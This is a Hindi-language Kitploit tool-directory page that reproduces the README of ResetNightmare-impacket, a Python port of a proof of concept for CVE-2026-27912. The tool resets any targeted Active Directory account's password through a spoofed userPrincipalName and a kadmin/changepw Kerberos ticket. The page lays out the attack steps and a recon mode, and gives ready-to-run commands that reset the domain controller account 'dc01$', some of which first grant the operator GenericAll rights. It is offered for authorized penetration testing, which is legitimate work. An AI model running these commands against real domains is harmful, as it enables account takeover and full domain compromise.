Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ResetNightmare-impacket — CVE-2026-27912 (ResetNightmare) — Semperis Community के Invoke-ResetNightmare PoC का Linux/impacket पोर्ट | Kitploit
उपकरण/GitHubGitHub/mihat2/resetnightmare-impacket
पासवर्ड हमलेभेद्यता विश्लेषणशोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंगप्रमाणीकरणरेड टीमिंग
GitHubmihat2/resetnightmare-impacket

ResetNightmare-impacket

CVE-2026-27912 (ResetNightmare) — Semperis Community के Invoke-ResetNightmare PoC का Linux/impacket पोर्ट

रिपॉजिटरी देखें
15272 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

ResetNightmare — CVE-2026-27912

CVE-2026-27912 ("ResetNightmare") के लिए Linux / impacket टूलिंग। यह किसी लक्षित Active Directory खाते का पासवर्ड रीसेट करता है, इसके द्वारा कि एक NT_ENTERPRISE प्रिंसिपल के लिए kadmin/changepw TGT का अनुरोध किया जाता है जिसका नाम लक्ष्य का sAMAccountName है, और उस खाते (UPNUser) का उपयोग किया जाता है जिस पर हम एक नकली userPrincipalName लिख सकते हैं।

Semperis Community Invoke-ResetNightmare PowerShell टूल का Python पोर्ट (देखें श्रेय)।

⚠️ कानूनी अस्वीकरण

केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उपयोग के लिए। यह टूल वास्तविक Active Directory क्रेडेंशियल्स को बदलता है और खातों को लॉक आउट कर सकता है।

  • इसे केवल उन सिस्टमों के विरुद्ध चलाएँ जिनका आप स्वामित्व रखते हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित अनुमति है (एक हस्ताक्षरित एंगेजमेंट या एक लैब जिसे आप नियंत्रित करते हैं)।
  • कंप्यूटर सिस्टमों तक अनधिकृत पहुँच अवैध है (जैसे US CFAA, UK Computer Misuse Act, और समकक्ष कानून) और इसमें आपराधिक और दीवानी दंड हो सकते हैं।
  • लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते। सॉफ़्टवेयर "जैसा है" (AS IS) प्रदान किया गया है — देखें LICENSE। यदि आपके पास अनुमति नहीं है, तो इसे न चलाएँ।

यह कैसे काम करता है

  1. (वैकल्पिक) UPNUser बनाएँ, स्वयं को GenericAll प्रदान करें, उसका पासवर्ड सेट करें, उसे सक्षम करें।
  2. लक्ष्य का sAMAccountName हल करें।
  3. UPNUser.userPrincipalName = <targetSAN> (नकली UPN) सेट करें।
  4. kadmin/changepw के लिए NT_ENTERPRISE '<targetSAN>' के रूप में AS-REQ — KDC एंटरप्राइज़ UPN को लक्ष्य पर मैप करता है और उसके लिए एक परिवर्तन-पासवर्ड TGT जारी करता है।
  5. नकली UPN साफ़ करें।
  6. उस TGT के साथ kpasswd परिवर्तन-पासवर्ड → लक्ष्य का पासवर्ड सेट करता है।
  7. UPNUser का मूल UPN पुनर्स्थापित करें।

--upn-user चुनना

--upn-user वह खाता है जिस पर आप नकली UPN लिखते हैं (एक उपयोगकर्ता, या --computer के साथ एक कंप्यूटर)। एकमात्र आवश्यकता यह है कि आप उसका userPrincipalName लिख सकें। इसे प्राप्त करने के तीन तरीके हैं — वही जिन पर मूल PowerShell निर्भर करता है:

#आप UPN-लिखने की क्षमता कैसे प्राप्त करते हैंफ़्लैगक्या OU आवश्यक है?
Aखाते को उस OU में बनाएँ जहाँ आपके पास Create Child है → आप उसके स्वामी हैं → टूल स्वयं को GenericAll प्रदान करता है → UPN लिखता है--create-new-pathहाँ
Bएक मौजूदा खाता जिस पर आपके पास पहले से GenericWrite / GenericAll / WriteProperty(userPrincipalName) है(कोई नहीं)नहीं
Cएक मौजूदा खाता जिसका आप स्वामी हैं या जिस पर WriteDacl है (कोई सीधा प्रॉपर्टी राइट नहीं)--grant-selfनहीं

इसलिए आपको आवश्यक रूप से किसी OU को नियंत्रित करने की आवश्यकता नहीं है — पथ B किसी भी एकल खाते पर प्रत्यायोजित अधिकारों से काम करता है। लेकिन आपको A/B/C में से एक चाहिए। यह देखने के लिए कि आपके पास कौन-सा है, --find चलाएँ।

केवल एक डोमेन कंप्यूटर पर्याप्त नहीं है। एक मशीन जिस पर आप स्थानीय एडमिन हैं / जिसका हैश आपके पास है — लेकिन जिस पर आपके पास कोई AD लेखन अधिकार नहीं है — आपको A/B/C में से कोई नहीं देती। और MachineAccountQuota के माध्यम से बनाया गया कंप्यूटर (addcomputer.py द्वारा CN=Computers में) भी काम नहीं करता: उसका निर्माता स्वामी नहीं होता और उसे कोई UPN लेखन नहीं मिलता, इसलिए सीधा लेखन और --grant-self दोनों result 50 के साथ विफल हो जाते हैं। प्रत्यायोजित OU के साथ पथ A का उपयोग करें।

इंस्टॉल

python3 -m venv venv
./venv/bin/pip install -r requirements.txt

उपयोग

ऑपरेटर क्रेडेंशियल्स पहला पोज़िशनल आर्ग्युमेंट हैं: [domain/]username[:password]। कोई भी पासवर्ड छोड़ा जा सकता है और आपसे उसके लिए प्रॉम्प्ट किया जाएगा।

Recon — यह अकाउंट किस चीज़ का दुरुपयोग कर सकता है? उन अकाउंट्स की रिपोर्ट करता है जिन पर आप UPN लिख सकते हैं, उन OUs की जिनमें आप ऑब्जेक्ट बना सकते हैं, और MachineAccountQuota, सुझाए गए कमांड्स के साथ:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --find

प्रत्येक finding अपने via: कारण और ऑब्जेक्ट का owner: प्रिंट करता है। owner दो कंप्यूटर-निर्माण पथों को एक नज़र में अलग करता है — एक delegated-container कंप्यूटर owner: <you> दिखाता है (आपके पास अंतर्निहित WRITE_DAC है, इसलिए --grant-self काम करता है), जबकि MAQ / CN=Computers वाला owner: BUILTIN\Administrators दिखाता है (आपके पास यह नहीं है, इसलिए इसका उपयोग नहीं किया जा सकता):

=== Accounts you can write a UPN on  (use as --upn-user) ===
  [+] svc_web                        CN=svc_web,OU=Services,DC=corp,DC=local
        via:   WriteProperty(userPrincipalName)
        owner: Domain Admins

किसी लक्ष्य को रीसेट करें उस खाते का उपयोग करके जिस पर आप UPN लिख सकते हैं:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --upn-user svc_web --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

पहले UPN खाता बनाएं (OU पर Create Child, और LDAPS की आवश्यकता है):

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
  --upn-user pwned_user --upn-user-password 'N3wUpnPass1!' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

एक कंप्यूटर खाता बनाएं UPN खाते के रूप में (--create-new-path + --computer):

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' --computer \
  --upn-user 'pwned_pc$' --upn-user-password 'N3wUpnPass1!' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

मौजूदा खाता जहाँ आप DACL को फिर से लिख सकते हैं लेकिन UPN नहीं लिख सकते (--grant-self)। जब --find किसी --upn-user की रिपोर्ट करता है जो Owner या WriteDacl के माध्यम से पहुँच योग्य है (आप उसका ACL बदल सकते हैं लेकिन सीधे प्रॉपर्टी राइट नहीं है), तो --grant-self पहले आपके लिए एक GenericAll ACE जोड़ता है, फिर हमला आगे बढ़ता है। केवल मौजूदा खातों के लिए — --create-new-path पहले से ही स्वयं को अनुदान देता है।

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --grant-self \
  --upn-user svc_legacy --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

यदि --grant-self स्वयं result 50 के साथ विफल हो जाता है, तो आप उस खाते के मालिक नहीं हैं और आपके पास उस पर WriteDacl नहीं है — यह मदद नहीं कर सकता। यह उस कंप्यूटर के लिए सामान्य परिणाम है जिसे आपने addcomputer.py/MAQ के माध्यम से बनाया है: निर्माताओं को आमतौर पर न तो स्वामित्व मिलता है और न ही UPN लेखन, इसलिए MAQ कंप्यूटर --upn-user के रूप में उपयोग करने योग्य नहीं हैं। --find चलाएँ और ऐसा खाता चुनें जिसे यह WriteProperty(userPrincipalName), GenericWrite, GenericAll, Owner, या WriteDacl के रूप में चिह्नित करता है।

विस्तृत AS-REQ / LDAP / kpasswd लॉगिंग के लिए -debug जोड़ें।

फ़्लैग

टूल डाउनलोड करें